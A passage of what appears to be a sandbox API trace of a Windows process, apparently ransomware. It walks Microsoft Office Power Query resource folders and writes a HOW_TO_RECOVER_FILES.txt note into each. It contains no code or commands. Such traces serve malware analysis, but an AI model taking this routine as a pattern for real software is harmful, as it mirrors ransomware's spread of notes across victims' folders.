[0214.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0214.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0215.109] GetFileType (hFile=0x808) returned 0x1 [0215.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.109] GetFileType (hFile=0x808) returned 0x1 [0215.109] WriteFile (in: hFile=0x808, lpBuffer=0x34f9950*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x34f9950*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.111] CloseHandle (hObject=0x808) returned 1 [0215.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.111] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko", lpFilePart=0x0) returned 0x68 [0215.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.112] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.112] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.112] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4b0be25, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4b0be25, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c3d17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.112] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.113] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.113] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.113] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko", lpFilePart=0x0) returned 0x68 [0215.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.115] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.115] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.115] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4b0be25, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4b0be25, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c3d17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.115] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.115] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.116] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0215.116] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0215.119] GetFileType (hFile=0x808) returned 0x1 [0215.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.119] GetFileType (hFile=0x808) returned 0x1 [0215.119] WriteFile (in: hFile=0x808, lpBuffer=0x350d168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x350d168*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.120] CloseHandle (hObject=0x808) returned 1 [0215.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt", lpFilePart=0x0) returned 0x68 [0215.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.122] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.122] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc97147, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc97147, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbce360e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.123] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.123] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bad1cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.123] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.123] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.123] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt", lpFilePart=0x0) returned 0x68 [0215.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.125] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.125] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc97147, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc97147, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbce360e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.125] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.125] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bad1cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0215.125] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0215.126] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0215.126] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0215.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0215.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0215.127] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0215.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0215.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0215.128] GetFileType (hFile=0x808) returned 0x1 [0215.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0215.128] GetFileType (hFile=0x808) returned 0x1 [0215.129] WriteFile (in: hFile=0x808, lpBuffer=0x3520998*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3520998*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0215.130] CloseHandle (hObject=0x808) returned 1 [0215.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0215.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv", lpFilePart=0x0) returned 0x68 [0215.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0215.131] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59f29de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0215.132] FindNextFileW (in: hFindFile=0x1ec322f0, 